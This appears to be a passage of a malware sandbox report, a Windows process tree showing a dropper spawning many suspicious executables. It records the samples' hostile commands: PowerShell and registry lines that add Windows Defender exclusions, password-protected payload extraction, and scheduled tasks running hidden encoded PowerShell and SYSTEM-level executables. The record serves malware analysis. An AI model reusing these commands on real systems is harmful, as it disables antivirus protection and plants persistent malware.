        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1616,10057357432799373077,7088902604880815357,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1696 /prefetch:8
        9⤵
        
        PID:6428
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1616,10057357432799373077,7088902604880815357,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1628 /prefetch:2
        9⤵
        
        PID:2140
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1616,10057357432799373077,7088902604880815357,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2292 /prefetch:8
        9⤵
        
        PID:4988
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,10057357432799373077,7088902604880815357,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --origin-trial-disabled-features=SecurePaymentConfirmation --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2812 /prefetch:1
        9⤵
        
        PID:7036
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,10057357432799373077,7088902604880815357,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --origin-trial-disabled-features=SecurePaymentConfirmation --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2800 /prefetch:1
        9⤵
        
        PID:6876
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,10057357432799373077,7088902604880815357,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --origin-trial-disabled-features=SecurePaymentConfirmation --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1
        9⤵
        
        PID:6360
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,10057357432799373077,7088902604880815357,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --origin-trial-disabled-features=SecurePaymentConfirmation --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:1
        9⤵
        
        PID:7360
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,10057357432799373077,7088902604880815357,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --origin-trial-disabled-features=SecurePaymentConfirmation --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3592 /prefetch:1
        9⤵
        
        PID:2168
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,10057357432799373077,7088902604880815357,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --origin-trial-disabled-features=SecurePaymentConfirmation --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3848 /prefetch:1
        9⤵
        
        PID:224
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,10057357432799373077,7088902604880815357,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=3872 /prefetch:8
        9⤵
        
        PID:8208
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1616,10057357432799373077,7088902604880815357,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=3864 /prefetch:8
        9⤵
        
        PID:10072
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zwgbnlno.hnl\customer6.exe & exit
        6⤵
        
        PID:836
        
        C:\Users\Admin\AppData\Local\Temp\zwgbnlno.hnl\customer6.exe
        
        C:\Users\Admin\AppData\Local\Temp\zwgbnlno.hnl\customer6.exe
        7⤵
        
        PID:5948
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX4\main.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX4\main.exe"
        8⤵
        
        PID:7728
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xaindkaz.gvh\HookSetp.exe & exit
        6⤵
        
        PID:6736
        
        C:\Users\Admin\AppData\Local\Temp\xaindkaz.gvh\HookSetp.exe
        
        C:\Users\Admin\AppData\Local\Temp\xaindkaz.gvh\HookSetp.exe
        7⤵
        
        PID:4068
        
        C:\ProgramData\1905975.exe
        
        "C:\ProgramData\1905975.exe"
        8⤵
        
        PID:7604
        
        C:\ProgramData\6388624.exe
        
        "C:\ProgramData\6388624.exe"
        8⤵
        
        PID:5140
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2rgdffia.c3m\privacytools5.exe & exit
        6⤵
        
        PID:6944
        
        C:\Users\Admin\AppData\Local\Temp\2rgdffia.c3m\privacytools5.exe
        
        C:\Users\Admin\AppData\Local\Temp\2rgdffia.c3m\privacytools5.exe
        7⤵
        
        PID:5484
        
        C:\Users\Admin\AppData\Local\Temp\2rgdffia.c3m\privacytools5.exe
        
        C:\Users\Admin\AppData\Local\Temp\2rgdffia.c3m\privacytools5.exe
        8⤵
        
        PID:7200
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tbiduef5.elh\GcleanerWW.exe /mixone & exit
        6⤵
        
        PID:1908
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rvnfnfor.ggj\19.exe & exit
        6⤵
        
        PID:7872
        
        C:\Users\Admin\AppData\Local\Temp\rvnfnfor.ggj\19.exe
        
        C:\Users\Admin\AppData\Local\Temp\rvnfnfor.ggj\19.exe
        7⤵
        
        PID:6944
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\install.vbs"
        8⤵
        
        PID:6440
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
        9⤵
        
        PID:4600
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5wp54v3i.pbo\b9706c20.exe & exit
        6⤵
        
        PID:7864
        
        C:\Users\Admin\AppData\Local\Temp\5wp54v3i.pbo\b9706c20.exe
        
        C:\Users\Admin\AppData\Local\Temp\5wp54v3i.pbo\b9706c20.exe
        7⤵
        
        PID:6516
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6516 -s 476
        8⤵
        Program crash
        
        PID:6576
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0rlyphiz.tjt\setup.exe /8-2222 & exit
        6⤵
        
        PID:8124
        
        C:\Users\Admin\AppData\Local\Temp\0rlyphiz.tjt\setup.exe
        
        C:\Users\Admin\AppData\Local\Temp\0rlyphiz.tjt\setup.exe /8-2222
        7⤵
        
        PID:7456
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Quiet-Wind'
        8⤵
        
        PID:6336
        
        C:\Program Files (x86)\Quiet-Wind\7za.exe
        
        "C:\Program Files (x86)\Quiet-Wind\7za.exe" e -p154.61.71.51 winamp.7z
        8⤵
        
        PID:7748
        
        C:\Program Files (x86)\Quiet-Wind\setup.exe
        
        "C:\Program Files (x86)\Quiet-Wind\setup.exe" /8-2222
        8⤵
        
        PID:7440
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rje31dyw.ie1\setup.exe /S /kr /site_id=754 & exit
        6⤵
        
        PID:7008
        
        C:\Users\Admin\AppData\Local\Temp\rje31dyw.ie1\setup.exe
        
        C:\Users\Admin\AppData\Local\Temp\rje31dyw.ie1\setup.exe /S /kr /site_id=754
        7⤵
        
        PID:2264
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        8⤵
        
        PID:7524
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        9⤵
        
        PID:7500
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        10⤵
        
        PID:7492
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        10⤵
        
        PID:7596
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gplUgSYJt" /SC once /ST 17:10:58 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        8⤵
        Creates scheduled task(s)
        
        PID:7548
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gplUgSYJt"
        8⤵
        
        PID:7256
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gplUgSYJt"
        8⤵
        
        PID:8476
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bmIXAqnwlcZKDlfrrr" /SC once /ST 18:26:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\AUkTbvV.exe\" 9n /site_id 754 /S" /V1 /F
        8⤵
        Creates scheduled task(s)
        
        PID:7584
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bh1r0h01.q0q\Four.exe & exit
        6⤵
        
        PID:7388
        
        C:\Users\Admin\AppData\Local\Temp\bh1r0h01.q0q\Four.exe
        
        C:\Users\Admin\AppData\Local\Temp\bh1r0h01.q0q\Four.exe
        7⤵
        
        PID:5852
        
        C:\Users\Admin\AppData\Local\Temp\IXVZHELFSJ\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXVZHELFSJ\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 104
        8⤵
        
        PID:6452
        
        C:\Users\Admin\AppData\Local\Temp\IXVZHELFSJ\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXVZHELFSJ\multitimer.exe" 1 3.1616869710.605f794ee444a 104
        9⤵
        
        PID:4056
        
        C:\Users\Admin\AppData\Local\Temp\IXVZHELFSJ\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXVZHELFSJ\multitimer.exe" 2 3.1616869710.605f794ee444a
        10⤵
        
        PID:4392
        
        C:\Users\Admin\AppData\Local\Temp\o0qkr5grgzg\3uixwwzrjdy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\o0qkr5grgzg\3uixwwzrjdy.exe" /ustwo INSTALL
        11⤵
        
        PID:8884
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8884 -s 648
        12⤵
        Program crash
        
        PID:8728
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8884 -s 660
        12⤵
        Program crash
        
        PID:5880
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8884 -s 724
        12⤵
        Program crash
        
        PID:1468
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8884 -s 808
        12⤵
        Program crash
        
        PID:9400
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8884 -s 880
        12⤵
        Program crash
        
        PID:10208
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8884 -s 940
        12⤵
        Program crash
        
        PID:10224
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8884 -s 1148
        12⤵
        Program crash
        
        PID:5124
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8884 -s 1140
        12⤵
        Program crash
        
        PID:9604
        
        C:\Users\Admin\AppData\Local\Temp\tkhucqnoxek\AwesomePoolU1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\tkhucqnoxek\AwesomePoolU1.exe"
        11⤵
        
        PID:7380
        
        C:\Users\Admin\AppData\Local\Temp\qw4nsgrsrsh\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\qw4nsgrsrsh\Setup3310.exe" /Verysilent /subid=577
        11⤵
        
        PID:8196
        
        C:\Users\Admin\AppData\Local\Temp\is-U46NJ.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-U46NJ.tmp\Setup3310.tmp" /SL5="$304F2,138429,56832,C:\Users\Admin\AppData\Local\Temp\qw4nsgrsrsh\Setup3310.exe" /Verysilent /subid=577
        12⤵
        
        PID:9120
        
        C:\Users\Admin\AppData\Local\Temp\is-5LIR1.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-5LIR1.tmp\Setup.exe" /Verysilent
        13⤵
        
        PID:8744
        
        C:\Users\Admin\AppData\Local\Temp\0sfdtv0l2ka\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0sfdtv0l2ka\vict.exe" /VERYSILENT /id=535
        11⤵
        
        PID:9028
        
        C:\Users\Admin\AppData\Local\Temp\is-DKF9H.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-DKF9H.tmp\vict.tmp" /SL5="$20666,870426,780800,C:\Users\Admin\AppData\Local\Temp\0sfdtv0l2ka\vict.exe" /VERYSILENT /id=535
        12⤵
        
        PID:4644
        
        C:\Users\Admin\AppData\Local\Temp\is-0QSMD.tmp\winhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-0QSMD.tmp\winhost.exe" 535
        13⤵
        
        PID:8920
        
        C:\Users\Admin\AppData\Local\Temp\wuatmfs1jpc\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\wuatmfs1jpc\app.exe" /8-23
        11⤵
        
        PID:8312
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Winter-Hill'
        12⤵
        
        PID:1756
        
        C:\Program Files (x86)\Winter-Hill\7za.exe
        
        "C:\Program Files (x86)\Winter-Hill\7za.exe" e -p154.61.71.51 winamp.7z
        12⤵
        
        PID:9156
        
        C:\Program Files (x86)\Winter-Hill\app.exe
        
        "C:\Program Files (x86)\Winter-Hill\app.exe" /8-23
        12⤵
        
        PID:6760
        
        C:\Users\Admin\AppData\Local\Temp\4avcby0savw\1xu3onenosu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4avcby0savw\1xu3onenosu.exe" /1-610
        11⤵
        
        PID:2580
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Proud-Frog'
        12⤵
        
        PID:8132
        
        C:\Program Files (x86)\Proud-Frog\7za.exe
        
        "C:\Program Files (x86)\Proud-Frog\7za.exe" e -p154.61.71.51 winamp.7z
        12⤵
        
        PID:9464
        
        C:\Program Files (x86)\Proud-Frog\1xu3onenosu.exe
        
        "C:\Program Files (x86)\Proud-Frog\1xu3onenosu.exe" /1-610
        12⤵
        
        PID:7164
        
        C:\Users\Admin\AppData\Local\Temp\8L2NSTR3AP\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\8L2NSTR3AP\setups.exe" ll
        8⤵
        
        PID:4908
        
        C:\Users\Admin\AppData\Local\Temp\is-AP3L5.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-AP3L5.tmp\setups.tmp" /SL5="$5055A,408070,216064,C:\Users\Admin\AppData\Local\Temp\8L2NSTR3AP\setups.exe" ll
        9⤵
        
        PID:6216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2072 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2608 /prefetch:1
  2⤵
  PID:1172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2616 /prefetch:1
  2⤵
  PID:3348
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
  2⤵
  PID:4052
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3600 /prefetch:1
  2⤵
  PID:2076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3564 /prefetch:1
  2⤵
  PID:4088
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3592 /prefetch:1
  2⤵
  PID:4300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4312 /prefetch:8
  2⤵
  PID:1236
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4600 /prefetch:8
  2⤵
  PID:1776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4408 /prefetch:8
  2⤵
  PID:1780
- C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
  "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
  2⤵
  PID:2256
- - C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
    "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff72c997740,0x7ff72c997750,0x7ff72c997760
    3⤵
    PID:4652
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4804 /prefetch:8
  2⤵
  PID:2648
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5056 /prefetch:8
  2⤵
  PID:232
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4964 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4984 /prefetch:8
  2⤵
  PID:3708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5076 /prefetch:8
  2⤵
  PID:2316
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5136 /prefetch:8
  2⤵
  PID:1496
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5184 /prefetch:8
  2⤵
  PID:4524
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5156 /prefetch:8
  2⤵
  PID:3480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5132 /prefetch:8
  2⤵
  PID:708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4824 /prefetch:8
  2⤵
  PID:4144
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5528 /prefetch:8
  2⤵
  PID:3116
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5660 /prefetch:8
  2⤵
  PID:1216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5796 /prefetch:8
  2⤵
  PID:1432
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5932 /prefetch:8
  2⤵
  PID:2364
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6652 /prefetch:8
  2⤵
  PID:4648
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5928 /prefetch:8
  2⤵
  PID:4260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1476,1477165432163038044,3472159273466796696,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7060 /prefetch:8
  2⤵
  PID:2396
